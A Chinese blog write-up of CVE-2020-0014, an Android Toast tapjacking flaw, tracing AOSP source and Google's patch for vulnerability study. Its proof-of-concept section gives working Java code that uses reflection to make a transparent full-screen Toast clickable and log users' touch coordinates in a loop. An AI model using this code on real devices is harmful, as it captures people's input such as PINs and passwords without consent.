CVE-2020-0014 Toast组件点击事件截获漏洞

news2024/12/23 10:08:53

文章目录

  • 前言
  • 漏洞分析
    • 组件源码
    • 触摸属性
  • 漏洞利用
    • POC分析
    • 漏洞复现
  • 漏洞修复
  • 总结

前言

Toast 组件是 Android 系统一个消息提示组件,比如你可以通过以下代码弹出提示用户“该睡觉了…”:

Toast.makeText(this, "该睡觉了…", Toast.LENGTH_SHORT).show();

2020年2月,谷歌安全公告 中修复了该组件一个高危漏洞,影响范围 Android 8.0 - 10:
在这里插入图片描述
来看下 美国国家漏洞库NVD 对该漏洞的简单描述:
在这里插入图片描述
对应翻译成中文大概就是说:“恶意应用程序可能会手动构建 TYPE_TOAST 窗口并使该窗口可单击。这可能会导致本地权限升级,而无需额外的执行权限”。

看到这可能也无法理解 Toast 组件可“点击”又如何,能构成什么漏洞?参考安全客某大佬发的分析文章 “通过安卓最新 Toast 漏洞进行 Tapjacking” 可以进一步了解到:“该漏洞可使恶意 App 通过构造一个可被点击的 Toast 视图来截获用户在屏幕上的操作,以达到搜集用户密码等敏感信息的目的”。Interesting,分析并学习一下!

漏洞分析

理解漏洞的产生根因可以从源码入手,理解以下代码从调用到弹出提示框,系统都经历了哪些流程。

Toast.makeText(context, text, duration).show() 

组件源码

可以到 http://aospxref.com/ 查询 Andorid 8.0-10 的源码(比如 makeText 函数的源码位置),或者从配置了 SDK (API 28-30) 的 Android Studio 中即可查看源码 android/widget/Toast.java

    //http://aospxref.com/android-8.1.0_r81/xref/frameworks/base/core/java/android/widget/Toast.java#104
    /**
     * Make a standard toast that just contains text.
     *
     * @param context  The context to use.  Usually your {@link android.app.Application}
     *                 or {@link android.app.Activity} object.
     * @param text     The text to show.  Can be formatted text.
     * @param duration How long to display the message.  Either {@link #LENGTH_SHORT} or
     *                 {@link #LENGTH_LONG}
     *
     */
    public static Toast makeText(Context context, CharSequence text, @Duration int duration) {
        return makeText(context, null, text, duration);
    }

    /**
     * Make a standard toast to display using the specified looper.
     * If looper is null, Looper.myLooper() is used.
     *
     * @hide
     */
    public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
            @NonNull CharSequence text, @Duration int duration) {
        if (Compatibility.isChangeEnabled(CHANGE_TEXT_TOASTS_IN_THE_SYSTEM)) {
            Toast result = new Toast(context, looper);
            result.mText = text;
            result.mDuration = duration;
            return result;
        } else {
            Toast result = new Toast(context, looper);
            View v = ToastPresenter.getTextToastView(context, text);
            result.mNextView = v;
            result.mDuration = duration;

            return result;
        }
    }

可以看到 makeText 方法会调用 Toast 构造函数生成一个实例,并构造一个 TextView 作为 Toast 的内容视图,再进一步跟进看下 Toast 的构造函数:

    /**
     * Constructs an empty Toast object.  If looper is null, Looper.myLooper() is used.
     * @hide
     */
    public Toast(@NonNull Context context, @Nullable Looper looper) {
        mContext = context;
        mToken = new Binder();
        looper = getLooper(looper);
        mHandler = new Handler(looper);
        mCallbacks = new ArrayList<>();
        mTN = new TN(context, context.getPackageName(), mToken,
                mCallbacks, looper);
        mTN.mY = context.getResources().getDimensionPixelSize(
                com.android.internal.R.dimen.toast_y_offset);
        mTN.mGravity = context.getResources().getInteger(
                com.android.internal.R.integer.config_toastDefaultGravity);
    }

Toast 构造方法主要是实例化 Toast 的私有内部类 TN,再来看 TN 的构造方法:

/**
   * Creates a {@link ITransientNotification} object.
   *
   * The parameter {@code callbacks} is not copied and is accessed with itself as its own
   * lock.
*/
TN(String packageName, @Nullable Looper looper) {
    // XXX This should be changed to use a Dialog, with a Theme.Toast
    // defined that sets up the layout params appropriately.
    final WindowManager.LayoutParams params = mParams;
    params.height = WindowManager.LayoutParams.WRAP_CONTENT;
    params.width = WindowManager.LayoutParams.WRAP_CONTENT;
    params.format = PixelFormat.TRANSLUCENT;
    params.windowAnimations = com.android.internal.R.style.Animation_Toast;
    params.type = WindowManager.LayoutParams.TYPE_TOAST;
    params.setTitle("Toast");
    params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
            | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
            | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;

    mPackageName = packageName;

    if (looper == null) {
        // Use Looper.myLooper() if looper is not specified.
        looper = Looper.myLooper();
        if (looper == null) {
            throw new RuntimeException(
                    "Can't toast on a thread that has not called Looper.prepare()");
        }
    }
    mHandler = new Handler(looper, null) {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case SHOW: {
                    IBinder token = (IBinder) msg.obj;
                    handleShow(token);
                    break;
                }
                case HIDE: {
                    handleHide();
                    // Don't do this in handleHide() because it is also invoked by
                    // handleShow()
                    mNextView = null;
                    break;
                }
                case CANCEL: {
                    handleHide();
                    // Don't do this in handleHide() because it is also invoked by
                    // handleShow()
                    mNextView = null;
                    try {
                        getService().cancelToast(mPackageName, TN.this);
                    } catch (RemoteException e) {
                    }
                    break;
                }
            }
        }
    };
}

TN 对象构造函数主要对 mParams 进行了初始化,赋值了一些系列默认属性如 param.type 为 TYPE_TOAST,尤其还注意到 params.flag 属性的默认选项 FLAG_NOT_TOUCHABLE,这个选项设置后显示出的 Toast 不会接收任何触摸事件(后面会补充解释)。

此外还可看出 TN 对象是实际上的 Toast 控制者,负责实现处理 Toast 显示、隐藏、取消的方法。但是在当前例子中我们只关心 Toast 的显示,即 TN 对象的 show() 方法,show() 方法最终又会被走到 handleShow() 方法中:

public void handleShow(IBinder windowToken) {
    if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
            + " mNextView=" + mNextView);
    // If a cancel/hide is pending - no need to show - at this point
    // the window token is already invalid and no need to do any work.
    if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE)) {
        return;
    }
    if (mView != mNextView) {
        // remove the old view if necessary
        handleHide();
        mView = mNextView;
        Context context = mView.getContext().getApplicationContext();
        String packageName = mView.getContext().getOpPackageName();
        if (context == null) {
            context = mView.getContext();
        }
        mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
        // We can resolve the Gravity here by using the Locale for getting
        // the layout direction
        final Configuration config = mView.getContext().getResources().getConfiguration();
        final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
        mParams.gravity = gravity;
        if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL) {
            mParams.horizontalWeight = 1.0f;
        }
        if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL) {
            mParams.verticalWeight = 1.0f;
        }
        mParams.x = mX;
        mParams.y = mY;
        mParams.verticalMargin = mVerticalMargin;
        mParams.horizontalMargin = mHorizontalMargin;
        mParams.packageName = packageName;
        mParams.hideTimeoutMilliseconds = mDuration ==
            Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
        mParams.token = windowToken;
        if (mView.getParent() != null) {
            if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
            mWM.removeView(mView);
        }
        if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
        // Since the notification manager service cancels the token right
        // after it notifies us to cancel the toast there is an inherent
        // race and we may attempt to add a window after the token has been
        // invalidated. Let us hedge against that.
        try {
            mWM.addView(mView, mParams);
            trySendAccessibilityEvent();
        } catch (WindowManager.BadTokenException e) {
            /* ignore */
        }
    }
}

从 handleShow 的实现可以看到 Toast 的本质上是获取到系统的服务 WindowManager ,然后通过调用 WindowManager 的 addView 直接将视图显示出来。

此处 WindowManager.addView 的第二个参数为 WindowManager.LayoutParams ,前面提到初始化的 mParams.flags 里包含一个选项 FLAG_NOT_TOUCHABLE 使得 Toast 在默认情况下不能接受触摸事件,但如果我们通过反射的方式,在 Toast 调用 show() 方法之前就将 mParams.flags 中的 FLAG_NOT_TOUCHABLE 选项清除掉,那我们便能获得一个可以监听触摸事件的的 Toast 了,这便是该漏洞的成因。

触摸属性

在前面的文章:Android安全与隐私相关特性的行为变更分析 中,分析 Android 12 新增特性时我简单介绍过 Android 12 通过限制 FLAG_NOT_TOUCHABLE 属性来限制悬浮窗点击透传事件导致的漏洞。
在这里插入图片描述
简单来说,FLAG_NOT_TOUCHABLE 属性可以将 Window 设置为永不接收触摸事件,从而能够将触摸事件透传给蒙层遮盖住的下层区域,不阻塞用户操作。但是这种点击事件的透传由引发了一系列点击劫持类型的漏洞(详情请参见:不可点击观察的威胁:Android中的不可点击的劫持攻击),所以谷歌限制设置了FLAG_NOT_TOUCHABLE 属性的组件的点击透传的场景。

换句话说,由于 Toast 组件默认是设置 FLAG_NOT_TOUCHABLE 属性的,所以你能看到发生 Toast 弹窗的时候,并不会影响你透过 Toast 弹窗所在的位置进一步点击手机屏幕、完成你想干的点击事件。但是, FLAG_NOT_TOUCHABLE 属性带来的点击事件透传导致的劫持漏洞,正是因为恶意悬浮窗设置了该属性,目前咱们讨论的 CVE-2020-0014 漏洞,为什么反而要去通过反射修改掉 FLAG_NOT_TOUCHABLE 属性呢?

原因在于如果将FLAG_NOT_TOUCHABLE 选项清除掉,那我们便能获得一个可以监听触摸事件的 Toast 了,而监听触摸事件又能实现监听用户点击屏幕的坐标位置,从而猜测用户的操作,比如输入的密码数据。具体危害下文的漏洞利用和复现环节将加以直观地体现。

漏洞利用

分析完漏洞根因,下面开始看看如何验证、利用该漏洞。已有大佬已完整将 POC 开源到 Github:CVE-2020-0014-Toast,按需自取,不过由于本人复现过程发现验证失败,故自行做了代码更新,详见下文。

POC分析

从 Toast 类出发,找到需要反射修改目标参数 mTN 和 mParams,如下所示:

public Class Toast {
    // --- snip --- //
    final TN mTN;
    // --- snip --- //
    private static class TN extends ITransientNotification.Stub {
        @UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.P)
        private final WindowManager.LayoutParams mParams = new WindowManager.LayoutParams();
        // --- snip --- //
    }
}

以下是弹出可监听触摸事件的 Toast 的关键代码:

public class ClickToast {
    public static void showToast(final Context context, int duration) {
        Toast mToast = null;
        if (mToast == null) {
            MyTextView view = new MyTextView(context);
            view.setText("nothing");
            view.setAlpha(0);
            mToast = Toast.makeText(context.getApplicationContext(), "hacker", duration);
            mToast.setGravity(Gravity.TOP, 0, 0);
            mToast.setView(view);
        }
        try {
            Object mTN;
            mTN = getField(mToast, "mTN"); // Toast.mTN
            if (mTN != null) {
                Object mParams = getField(mTN, "mParams"); // TN.mParams
                if (mParams != null && mParams instanceof WindowManager.LayoutParams) {
                    WindowManager.LayoutParams params = (WindowManager.LayoutParams) mParams;
                    //去掉FLAG_NOT_TOUCHABLE 使Toast可点击
                    params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE ;
                    params.width = WindowManager.LayoutParams.MATCH_PARENT;
                    params.height = WindowManager.LayoutParams.MATCH_PARENT;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        mToast.show();
    }

    //反射调用,将hide类型的私有属性修改为可访问状态
    private static Object getField(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Field field = object.getClass().getDeclaredField(fieldName);
        if (field != null) {
            field.setAccessible(true);
            return field.get(object);
        }
        return null;
    }
}

主要方法就是通过反射的方式来修改 Toast 对象的TN对象的 mParams 属性,清除其 FLAG_NOT_TOUCHABLE 选项,并且将 Toast 布满屏幕,且设为全透明。

其中 MyTextView 类为自定义视图类,重写了 dispatchTouchEvent 方法来打印触摸坐标信息的日志。

public class MyTextView extends androidx.appcompat.widget.AppCompatTextView {
    public MyTextView(Context context) {
        super(context);
    }

    @Override
    public boolean dispatchTouchEvent(MotionEvent ev) {
        float x = ev.getX();
        float y = ev.getY();
        Log.d("LittleLisk", String.format("x:%f, y:%f", x, y));
        return false;
    }
}

作为恶意 App 我们还需要设定一个弹出触摸信息记录 Toast 的时机,简单起见,我采用在 MainActivity 中循环创建一个新的子线程来周期性弹出全透明 Toast 以窃取用户触摸信息( Github 上给出的 POC 是通过启动一个 Service 来周期性弹出全透明 Toast 以窃取用户触摸信息,但是我复现失败了)。

while (true){
    try {
        Thread.sleep(3500);
        new Thread(() -> {
           Looper.prepare();
           Log.e(TAG, "begin");
           ClickToast.showToast(this, Toast.LENGTH_SHORT);
           Looper.loop();
        }).start();
     } catch (Exception e) {
         e.printStackTrace();
     }
}

以上便完成了 POC 的整体逻辑实现代码,下面来进行漏洞复现和验证。

漏洞复现

复现环境:Nexus 6 模拟器,Andorid 8.0
在这里插入图片描述
此处我模拟的是监听拨打电话的键盘的输入,可以看到最终的实际效果是:用户点击拨号键盘的时候,点击几次按键“1”,将有部分触摸事件点击到透明的 Toast 上并被记录下具体坐标信息,而其他点击事件将正常传递到拨号键盘上(因为刚好在 Toast 消失的时间窗口发生了点击,从而不会被 Toast 覆盖并截获点击事件)。

进一步的可以选择监听用户网银键盘的安全输入事件,危害自然就上来了,我想这也是这个漏洞被 Google 认定为高危漏洞的原因。

漏洞修复

来看下 Google 官方给出的 补丁修复方案:
在这里插入图片描述
具体代码修改位于 DisplayPolicy.java 的 adjustWindowParamsLw 函数当中:

    /**
     * Sanitize the layout parameters coming from a client.  Allows the policy
     * to do things like ensure that windows of a specific type can't take
     * input focus.
     *
     * @param attrs The window layout parameters to be modified.  These values
     * are modified in-place.
     */
    public void adjustWindowParamsLw(WindowState win, WindowManager.LayoutParams attrs,
            int callingPid, int callingUid) {
        final boolean isScreenDecor = (attrs.privateFlags & PRIVATE_FLAG_IS_SCREEN_DECOR) != 0;
        if (mScreenDecorWindows.contains(win)) {
            if (!isScreenDecor) {
                // No longer has the flag set, so remove from the set.
                mScreenDecorWindows.remove(win);
            }
        } else if (isScreenDecor && hasStatusBarServicePermission(callingPid, callingUid)) {
            mScreenDecorWindows.add(win);
        }
        switch (attrs.type) {
            case TYPE_SYSTEM_OVERLAY:
            case TYPE_SECURE_SYSTEM_OVERLAY:
                // These types of windows can't receive input events.
                attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
                attrs.flags &= ~WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
                break;
            case TYPE_DREAM:
            case TYPE_WALLPAPER:
                // Dreams and wallpapers don't have an app window token and can thus not be
                // letterboxed. Hence always let them extend under the cutout.
                attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES;
                break;
            case TYPE_STATUS_BAR:
                // If the Keyguard is in a hidden state (occluded by another window), we force to
                // remove the wallpaper and keyguard flag so that any change in-flight after setting
                // the keyguard as occluded wouldn't set these flags again.
                // See {@link #processKeyguardSetHiddenResultLw}.
                if (mService.mPolicy.isKeyguardOccluded()) {
                    attrs.flags &= ~WindowManager.LayoutParams.FLAG_SHOW_WALLPAPER;
                    attrs.privateFlags &= ~WindowManager.LayoutParams.PRIVATE_FLAG_KEYGUARD;
                }
                break;
            case TYPE_SCREENSHOT:
                attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
                break;
            case TYPE_TOAST:
                // While apps should use the dedicated toast APIs to add such windows
                // it possible legacy apps to add the window directly. Therefore, we
                // make windows added directly by the app behave as a toast as much
                // as possible in terms of timeout and animation.
                if (attrs.hideTimeoutMilliseconds < 0
                        || attrs.hideTimeoutMilliseconds > TOAST_WINDOW_TIMEOUT) {
                    attrs.hideTimeoutMilliseconds = TOAST_WINDOW_TIMEOUT;
                }
                // Accessibility users may need longer timeout duration. This api compares
                // original timeout with user's preference and return longer one. It returns
                // original timeout if there's no preference.
                attrs.hideTimeoutMilliseconds = mAccessibilityManager.getRecommendedTimeoutMillis(
                        (int) attrs.hideTimeoutMilliseconds,
                        AccessibilityManager.FLAG_CONTENT_TEXT);
                attrs.windowAnimations = com.android.internal.R.style.Animation_Toast;
                // Toast can show with below conditions when the screen is locked.
                if (canToastShowWhenLocked(callingPid)) {
                    attrs.flags |= WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED;
                }
                // Toasts can't be clickable
                attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
                break;
        }
        if (attrs.type != TYPE_STATUS_BAR) {
            // The status bar is the only window allowed to exhibit keyguard behavior.
            attrs.privateFlags &= ~WindowManager.LayoutParams.PRIVATE_FLAG_KEYGUARD;
        }
    }

可以看到在处理 TYPE_TOAST 的分支中,flags 属性被强制加上了 FLAG_NOT_TOUCHABLE 标记,而 adjustWindowParamsLw() 方法在 WindowManager.addView() 方法(前面源码分析章节最末尾的 handleShow 函数中调用了该方法)的过程中,即发生在恶意 App 清除FLAG_NOT_TOUCHABLE 标记之后。故该补丁能强制使 Toast 在显示的时候处于不可点击状态,消除了风险。

总结

不得不说这个漏洞的思路还是很新奇的,POC 通过反射动态修改 Android 原生组件的属性,造成了监听并窃取用户屏幕或键盘输入的危害,整个利用链路很值得学习。About more,Android 其它组件是否可能存在类似漏洞呢?待进一步分析,如果捕获到 0day 一定跟大家分享(机会总是给敢于“异想天开”的人的hh)!

本文参考:

  1. 通过安卓最新 Toast 漏洞进行 Tapjacking;
  2. 谷歌安全公告 和 Google 官方补丁修复方案。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/147208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言文件操作-从知识到实践全程

目录 引入 文件的打开和关闭 文件如何使用程序来打开? 绝对路径需要转义字符 fopen函数 fclose函数 文件的打开方式(fopen第二参数const char* mode): 文件的顺序读写 fgetc和fputc的使用 fputc fgetc fgets和fputs的使用 fputs fgets perror的使用 fprint…

哪些程序员适合自由工作?(附平台推荐)

在早些时候进行远程办公&#xff0c;接私活或者跨国进行编程&#xff0c;赚点外快等也不是什么奇怪的事情。但是那时候没有人想到会把这些工作完全变成自己的主要业务——也就是我们说的自由工作。也不知道是哪一个第1个吃了螃蟹的人发现自由工作还不错&#xff0c;于是经过后面…

【JavaScript】DOM 学习总结-基础知识

获取元素方法&#xff1a; // 获取三个非常规的标签 console.log(document.documentElement) console.log(document.head) console.log(document.body)通过id/class获取&#xff1a;getElementById / getElementsByClassName // 获取常规的用id,class,tag var boxdocument.g…

Android 自定义Activity的主题

一. 前言 当在某个app中做一个新界面时, 我们要考虑一下主题风格相符合一致. 本篇文章讲解的是,如何新创建的Activity 与整个app主题符合, 特别是状态栏的颜色需要和这个app的状态栏颜色保持一致. 在读本篇文章之前, 可以移步一下笔者之前写的文章:Android style&#xf…

代码随想录算法训练营第十一天字符串 java :20. 有效的括号 1047. 删除字符串中的所有相邻重复项 150. 逆波兰表达式求值

文章目录Leetcode 20. 有效的括号题目详解数据结构 双端队列(deque)Deque有三种用途&#xff1a;思路报错Ac代码Leetcode1047. 删除字符串中的所有相邻重复项题目详解数据结构 ArrayDeque类思路AC代码150. 逆波兰表达式求值题目详解报错难点AC代码收获Leetcode 20. 有效的括号 …

系分 - 系统设计

个人总结&#xff0c;仅供参考&#xff0c;欢迎加好友一起讨论 文章目录系分 - 系统设计考点摘要系统设计软件设计软件架构设计结构化设计概要设计详细设计处理流程设计流程工作流活动及其所有者工作项工作流管理系统WFMS的基本功能WFMS的组成WRM流程设计工具用户界面设计/人机…

python算法与数据结构1-算法、数据结构、链表

目录1、算法的概念1.1 举例&#xff1a;1.2 算法的五大特性&#xff1a;1.3 时间复杂度1.4 空间复杂度2、数据结构2.1 内存的存储结构2.2 数据结构的分类2.3 顺序表存储方式3、链表3.1链表实现3.2链表的方法3.3链表增加节点3.4链表删除节点3.5链表总结1、算法的概念 算法与数据…

(Java高级教程)第三章Java网络编程-第三节:UDP数据报套接字(DatagramSocket)编程

文章目录一&#xff1a;Java数据报套接字通信模型二&#xff1a;相关API详解&#xff08;1&#xff09;DatagramSocket&#xff08;2&#xff09;DatagramPacket三&#xff1a;UDP通信示例一&#xff1a;客户端发送什么服务端就返回什么&#xff08;1&#xff09;代码&#xff…

k8s之ConfigMap和secret

写在前面 我们知道k8s的数据都是存储到kv数据库etcd中的&#xff0c;那么我们程序中使用到各种配置信息是否可以也存储到etcd&#xff0c;然后在pod中使用呢&#xff1f;是可以的&#xff0c;k8s为了实现将自定义的数据存储到etcd&#xff0c;定义了ConfigMap 和secret两种API…

《后端技术面试 38 讲》学习笔记 Day 01

《后端技术面试 38 讲》学习笔记 Day 01 学习目标 在2022年春节将至&#xff08;半个月&#xff09;&#xff0c;适合在这个冬天里&#xff0c;温故知新。通过学习一门覆盖面较广的课程&#xff0c;来夯实基础&#xff0c;完善自己的知识体系&#xff0c;是一个很棒的选择。 …

LCHub:未来,低代码产品矩阵是500强企业的绝佳选择

近日,国内知名咨询机LCHub发布2022《中国大型企业数字化升级路径研究》。 报告认为由于大型企业的数字化需求旺盛、购买力充足,因此国内成熟的数字化服务商普遍以大型企业为核心客户。大型企业与数字化服务商的供需磨合决定了我国数字化市场的形态,造就了我国数字化市场与海…

go map 源码逐行阅读

map粗略介绍 源码开头注释&#xff1a; A map is just a hash table. The data is arranged into an array of buckets. Each bucket contains up to 8 key/elem pairs. The low-order bits of the hash are used to select a bucket. Each bucket contains a few high-order…

Linux学习笔记——RabbitMQ安装部署

5.4、RabbitMQ安装部署 5.4.1、简介 RabbitMQ是一款知名的开源消息列队系统&#xff0c;为企业提供消息的发布、订阅、点对点传输等消息服务。 RabbitMQ在企业开发中十分常见&#xff0c;课程为大家演示快速搭建RabbitMQ环境。 5.4.2、安装 RabbitMQ在yum仓库中的版本比较老…

用于从单细胞FRET数据中提取灵敏度分布的Matlab代码

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 对于分子生物学来讲&#xff0c;生物分析手段的发展&#xff0c;是阐明机理的必要条件。在研究分子间相互作用的道路上&#xf…

Leetcode - 106 - 相交链表

160. 相交链表 题目描述 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点&#xff0c;返回 null 。 图示两个链表在节点 c1 开始相交&#xff1a; 题目数据 保证 整个链式结构中不存在环。 注意&am…

【阶段三】Python机器学习04篇:机器学习项目实战:多元线性回归模型、岭回归模型与套索回归模型

本篇的思维导图: 一元线性回归的数学原理 一元线性回归模型又称为简单线性回归模型,其形式可以表示为如下所示的公式。 y=ax+b 其中,y为因变量,x为自变量,a为回归系数,b为截距。 如下图所示,其中y(i)为实际值,y(i)为预测值,一元线性回归的目的就是拟合出一…

Vision-Only Robot Navigation in a Neural Radiance World

Paper name Vision-Only Robot Navigation in a Neural Radiance World Paper Reading Note URL: https://arxiv.org/abs/2110.00168 TL;DR RA-L 2022 文章&#xff0c;提出在 NeRF 表达的环境中进行机器人导航及循迹任务的方法 Introduction 背景 基于 on-board 传感器…

HTML与CSS基础(五)—— CSS布局(盒子模型)、PxCook使用

目标能够认识 盒子模型 的组成部分 能够掌握盒子模型的 边框、内边距、外边距 的作用及简写形式能够计算盒子的 实际大小 能够了解 外边距折叠现象&#xff0c;并知道如何解决 盒子塌陷问题一、PxCook的基本使用1. 通过软件打开设计图① 打开软件 ② 拖拽入设计图 ③ 新建项目2…

Acwing---99.激光炸弹

激光炸弹1.题目2.基本思想3.代码实现1.题目 地图上有 NNN 个目标&#xff0c;用整数 Xi,YiXi,YiXi,Yi 表示目标在地图上的位置&#xff0c;每个目标都有一个价值 WiWiWi。 注意&#xff1a;不同目标可能在同一位置。 现在有一种新型的激光炸弹&#xff0c;可以摧毁一个包含 …

Java中常用API总结(4)—— Object类(含实例解读和源码阅读)

Object类一、前言二、概述1.API帮助文档2.使用方法三、常用方法1.toString方法1️⃣格式2️⃣实例3️⃣源码阅读4️⃣快捷键重写方法2.equals方法1️⃣格式2️⃣实例3️⃣源码阅读4️⃣重写方法3.对象克隆四、结语一、前言 本文将讲述有关于Object类相关知识点 二、概述 1.A…